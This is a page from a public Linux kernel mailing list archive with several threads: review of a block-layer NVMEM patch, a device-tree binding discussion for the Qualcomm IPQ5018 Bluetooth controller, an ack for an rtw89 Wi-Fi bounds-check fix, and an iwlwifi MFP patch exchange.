Just do return dev_err_probe().
> + }
> +
> + return 0;
> +}
> +
> +void blk_nvmem_del(struct block_device *bdev)
> +{
> + nvmem_unregister(bdev->bd_nvmem);
> + bdev->bd_nvmem = NULL;
> +}
> diff --git a/block/blk.h b/block/blk.h
> index ec4674cdf2ead4fd259ff5fc42401f591e684ee9..ed0c10168ba7be10855509637f824a9cea2b9ccb 100644
> --- a/block/blk.h
> +++ b/block/blk.h
> @@ -757,4 +757,12 @@ static inline void blk_debugfs_unlock(struct request_queue *q,
> memalloc_noio_restore(memflags);
> }
>
> +#ifdef CONFIG_BLK_NVMEM
> +int blk_nvmem_add(struct block_device *bdev);
> +void blk_nvmem_del(struct block_device *bdev);
> +#else
> +static inline int blk_nvmem_add(struct block_device *bdev) { return 0; }
> +static inline void blk_nvmem_del(struct block_device *bdev) {}
> +#endif
> +
> #endif /* BLK_INTERNAL_H */
> diff --git a/block/genhd.c b/block/genhd.c
> index 7d6854fd28e95ae9134309679a7c6a937f5b7db8..1b2382de6fb30c1e5f60f45c04dc03ed3bf5d5f2 100644
> --- a/block/genhd.c
> +++ b/block/genhd.c
> @@ -421,6 +421,8 @@ static void add_disk_final(struct gendisk *disk)
> */
> dev_set_uevent_suppress(ddev, 0);
> disk_uevent(disk, KOBJ_ADD);
> +
> + blk_nvmem_add(disk->part0);
> }
>
> blk_apply_bdi_limits(disk->bdi, &disk->queue->limits);
> @@ -704,6 +706,8 @@ static void __del_gendisk(struct gendisk *disk)
>
> disk_del_events(disk);
>
> + blk_nvmem_del(disk->part0);
> +
> /*
> * Prevent new openers by unlinked the bdev inode.
> */
> diff --git a/include/linux/blk_types.h b/include/linux/blk_types.h
> index 8808ee76e73c09e0ceaac41ba59e86fb0c4efc64..ace6f59b860d0813665b2f62a1c03a1f4be94059 100644
> --- a/include/linux/blk_types.h
> +++ b/include/linux/blk_types.h
> @@ -73,6 +73,9 @@ struct block_device {
> int bd_writers;
> #ifdef CONFIG_SECURITY
> void *bd_security;
> +#endif
> +#ifdef CONFIG_BLK_NVMEM
> + struct nvmem_device *bd_nvmem;
> #endif
> /*
> * keep this out-of-line as it's both big and not needed in the fast
> diff --git a/include/linux/blkdev.h b/include/linux/blkdev.h
> index 890128cdea1ce66863c5baa36f3b336ec4550807..f15d2b5bf9e4fd2368b8a70416a978e22c0d4333 100644
> --- a/include/linux/blkdev.h
> +++ b/include/linux/blkdev.h
> @@ -30,6 +30,7 @@
>
> struct module;
> struct request_queue;
> +struct nvmem_device;
Why is the forward declaration here and not in blk_types.h where it's needed?
> struct elevator_queue;
> struct blk_trace;
> struct request;
>
> --
> 2.34.1
>
>
With the above nits addressed, LGTM:
Reviewed-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
Bart
^ permalink raw reply
* Re: [PATCH v2 1/6] dt-bindings: net: bluetooth: Document Qualcomm IPQ5018 Bluetooth controller
From: George Moussalem @ 2026-06-30 7:55 UTC (permalink / raw)
To: Krzysztof Kozlowski
Cc: Jens Axboe, Ulf Hansson, Rob Herring, Krzysztof Kozlowski,
Conor Dooley, Johannes Berg, Jeff Johnson, Bartosz Golaszewski,
Marcel Holtmann, Luiz Augusto von Dentz, Balakrishna Godavarthi,
Rocky Liao, Saravana Kannan, Andrew Lunn, Heiner Kallweit,
Russell King, David S. Miller, Eric Dumazet, Jakub Kicinski,
Paolo Abeni, Simon Horman, Bjorn Andersson, Konrad Dybcio,
Mathieu Poirier, Philipp Zabel, linux-block, linux-kernel,
linux-mmc, devicetree, linux-wireless, ath10k, linux-arm-msm,
linux-bluetooth, netdev, linux-remoteproc
In-Reply-To: <ccbd320f-5a17-45f3-96cf-3fa0c9bd1e8f@kernel.org>
On 6/30/26 11:40, Krzysztof Kozlowski wrote:
> On 30/06/2026 09:31, George Moussalem wrote:
>> On 6/30/26 11:15, Krzysztof Kozlowski wrote:
>>> On Mon, Jun 29, 2026 at 05:01:44PM +0400, George Moussalem wrote:
>>>> +unevaluatedProperties: false
>>>> +
>>>> +examples:
>>>> + - |
>>>> + #include <dt-bindings/clock/qcom,gcc-ipq5018.h>
>>>> + #include <dt-bindings/interrupt-controller/arm-gic.h>
>>>> + #include <dt-bindings/reset/qcom,gcc-ipq5018.h>
>>>> +
>>>> + bluetooth {
>>>
>>> Don't send new versions while discussion is still going. I need to
>>> repeat my question - what bus does that sit on?
>>>
>>> Device nodes represent real devices. Real devices sit on a bus, usually.
>>> Do you have here a bus?
>>
>> I'm afraid I don't have a definitive answer. Again, my understanding
>> based on downstream code is that the 'controller' is basically a Cortex
>> M0 processor running Bluetooth firmware connected to an RF. Data
>> transport is over a shared memory carveout with APPS signaling the
>> controller through writes to an IPC mailbox register, while the
>> controller has an interrupt line back to signal APPS.
>
> So this looks like should be squashed into remoteproc node. There is no
> reason or no data to express it as two separate device nodes.
In this version, I've squashed them into one already but as a Bluetooth
controller as that's what the 'processor' is dedicated to, also in line
with Bjorn's guidance to manage the lifecycle of this processor and all
other resources in one. Kindly let me know if this approach is satisfactory.
>
> Best regards,
> Krzysztof
Best regards,
George
^ permalink raw reply
* RE: [PATCH] wifi: rtw89: fix HE extended capability length check
From: Ping-Ke Shih @ 2026-06-30 7:51 UTC (permalink / raw)
To: Pengpeng Hou; +Cc: linux-wireless@vger.kernel.org, linux-kernel@vger.kernel.org
In-Reply-To: <2026063009025530.2-ccfa108-0024-wifi-rtw89-fix-HE-extended--pengpeng@iscas.ac.cn>
Pengpeng Hou <pengpeng@iscas.ac.cn> wrote:
> Sent: Tuesday, June 30, 2026 3:28 PM
> rtw89_mac_check_he_obss_narrow_bw_ru_iter() reads extended capability
> byte 10, but rejects only datalen values below 10. Byte 10 requires at
> least 11 bytes.
>
> Require datalen >= 11 before reading data[10].
>
I'd add a Fixes tag:
Fixes: 8d540f9d2916 ("wifi: rtw89: disable 26-tone RU HE TB PPDU transmissions")
> Signed-off-by: Pengpeng Hou <pengpeng@iscas.ac.cn>
Acked-by: Ping-Ke Shih <pkshih@realtek.com>
^ permalink raw reply
* Re: [PATCH 1/2] wifi: iwlwifi: enable MFP_CAPABLE in FIPS mode
From: Jose Ignacio Tornos Martinez @ 2026-06-30 7:46 UTC (permalink / raw)
To: johannes
Cc: emmanuel.grumbach, jtornosm, linux-kernel, linux-wireless,
miriam.rachel.korenblit
In-Reply-To: <a9578988af110a0966cd2bd236e6044ac5e7a70e.camel@sipsolutions.net>
Hi Johannes,
>>> There's probably something to be said for the second patch anyway.
>> Good to know, should I resend patch 2/2 separately, or would you like me
>> to wait until I have the customer use case information?
> I think we can just take it as-is.
Great, thank you!
I'll still get you the customer use case information once I have it.
Best regards
José Ignacio
^ permalink raw reply
* Re: [PATCH v2 1/6] dt-bindings: net: bluetooth: Document Qualcomm IPQ5018 Bluetooth controller
From: Krzysztof Kozlowski @ 2026-06-30 7:40 UTC (permalink / raw)
To: George Moussalem
Cc: Jens Axboe, Ulf Hansson, Rob Herring, Krzysztof Kozlowski,
Conor Dooley, Johannes Berg, Jeff Johnson, Bartosz Golaszewski,
Marcel Holtmann, Luiz Augusto von Dentz, Balakrishna Godavarthi,
Rocky Liao, Saravana Kannan, Andrew Lunn, Heiner Kallweit,
Russell King, David S. Miller, Eric Dumazet, Jakub Kicinski,
Paolo Abeni, Simon Horman, Bjorn Andersson, Konrad Dybcio,
Mathieu Poirier, Philipp Zabel, linux-block, linux-kernel,
linux-mmc, devicetree, linux-wireless, ath10k, linux-arm-msm,
linux-bluetooth, netdev, linux-remoteproc
In-Reply-To: <SN7PR19MB67361ED99501853D6BD968E69DF72@SN7PR19MB6736.namprd19.prod.outlook.com>
On 30/06/2026 09:31, George Moussalem wrote:
> On 6/30/26 11:15, Krzysztof Kozlowski wrote:
>> On Mon, Jun 29, 2026 at 05:01:44PM +0400, George Moussalem wrote:
>>> +unevaluatedProperties: false
>>> +
>>> +examples:
>>> + - |
>>> + #include <dt-bindings/clock/qcom,gcc-ipq5018.h>
>>> + #include <dt-bindings/interrupt-controller/arm-gic.h>
>>> + #include <dt-bindings/reset/qcom,gcc-ipq5018.h>
>>> +
>>> + bluetooth {
>>
>> Don't send new versions while discussion is still going. I need to
>> repeat my question - what bus does that sit on?
>>
>> Device nodes represent real devices. Real devices sit on a bus, usually.
>> Do you have here a bus?
>
> I'm afraid I don't have a definitive answer. Again, my understanding
> based on downstream code is that the 'controller' is basically a Cortex
> M0 processor running Bluetooth firmware connected to an RF. Data
> transport is over a shared memory carveout with APPS signaling the
> controller through writes to an IPC mailbox register, while the
> controller has an interrupt line back to signal APPS.
So this looks like should be squashed into remoteproc node. There is no
reason or no data to express it as two separate device nodes.
Best regards,
Krzysztof
^ permalink raw reply
page: next (older) | prev (newer) | latest
- recent:[subjects (threaded)|topics (new)|topics (active)]
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox